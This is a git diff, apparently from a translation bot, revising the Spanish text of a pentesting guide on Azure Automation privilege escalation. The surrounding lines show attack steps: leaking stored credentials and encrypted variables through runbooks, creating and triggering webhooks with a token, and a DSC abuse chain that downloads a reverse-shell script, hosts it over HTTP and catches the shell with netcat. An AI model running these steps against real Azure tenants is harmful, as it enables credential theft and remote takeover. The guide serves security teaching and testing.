Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation

This commit is contained in:
Translator
2025-05-09 11:45:44 +00:00
parent d750cbfc4f
commit 912c4147a9

View File

@@ -47,9 +47,9 @@ $runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password'
```
Nota cómo el script anterior puede ser utilizado para **leak the useranmd and password** de una credencial y el valor de una **encrypted variable** almacenada en la Automation Account.
Tenga en cuenta cómo el script anterior se puede utilizar para **filtrar el nombre de usuario y la contraseña** de una credencial y el valor de una **variable encriptada** almacenada en la Cuenta de Automatización.
El permiso **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** permite al usuario publicar un Runbook en la Automation Account para que los cambios se apliquen:
El permiso **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** permite al usuario publicar un Runbook en la Cuenta de Automatización para que los cambios se apliquen:
```bash
az automation runbook publish \
--resource-group <res-group> \
@@ -69,7 +69,7 @@ El permiso **`Microsoft.Automation/automationAccounts/jobs/output/read`** permit
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
```
Si no hay Runbooks creados, o si deseas crear uno nuevo, necesitarás los **permisos `Microsoft.Resources/subscriptions/resourcegroups/read` y `Microsoft.Automation/automationAccounts/runbooks/write`** para hacerlo utilizando:
Si no hay Runbooks creados, o si deseas crear uno nuevo, necesitarás los **permisos `Microsoft.Resources/subscriptions/resourcegroups/read` y `Microsoft.Automation/automationAccounts/runbooks/write`** para hacerlo usando:
```bash
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
```
@@ -134,31 +134,16 @@ az rest --method PUT \
}'
```
> [!TIP]
> En el ejemplo anterior, el id del jobchedule se dejó como **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` como ejemplo**, pero necesitarás usar un valor arbitrario para crear esta asignación.
> En el ejemplo anterior, el id del jobchedule se dejó como **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` como ejemplo** pero necesitarás usar un valor arbitrario para crear esta asignación.
### `Microsoft.Automation/automationAccounts/webhooks/write`
Con el permiso **`Microsoft.Automation/automationAccounts/webhooks/write`** es posible crear un nuevo Webhook para un Runbook dentro de una Cuenta de Automatización utilizando el siguiente comando.
Ten en cuenta que necesitarás **indicar la URI del webhook** con el token a utilizar.
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automantion-account-name>/webhooks/<webhook-name>?api-version=2018-06-30" \
--body '{
"name": "<webhook-name>",
"properties": {
"isEnabled": true,
"expiryTime": "2026-01-09T20:03:30.291Z",
"parameters": {},
"runOn": null,
"runbook": {
"name": "<runbook-name>"
},
"uri": "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d"
}
}'
# Then, to call the runbook using the webhook
New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true
```
Este comando debería devolver un URI de webhook que solo se muestra en la creación. Luego, para llamar al runbook usando el URI del webhook.
```bash
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
-H "Content-Length: 0"
```
@@ -190,7 +175,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-
```
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
Este permiso permite al usuario **configurar un control de fuente** para la Cuenta de Automatización utilizando comandos como los siguientes (esto utiliza Github como ejemplo):
Este permiso permite al usuario **configurar un control de fuente** para la Cuenta de Automatización utilizando comandos como los siguientes (esto usa Github como ejemplo):
```bash
az automation source-control create \
--resource-group <res-group> \
@@ -264,13 +249,13 @@ wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
```
El script se edita para especificar la VM de Windows objetivo y el puerto para el shell inverso.
- Paso 5 — Publicar archivo de configuración
- Paso 5 — Publicar Archivo de Configuración
El archivo de configuración se ejecuta, lo que resulta en que el script de shell inverso se despliega en la ubicación especificada en la VM de Windows.
- Paso 6 — Alojar carga útil y configurar el oyente
- Paso 6 — Alojar Carga Útil y Configurar Escucha
Se inicia un Python SimpleHTTPServer para alojar la carga útil, junto con un oyente de Netcat para capturar conexiones entrantes.
Se inicia un Python SimpleHTTPServer para alojar la carga útil, junto con un listener de Netcat para capturar conexiones entrantes.
```bash
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443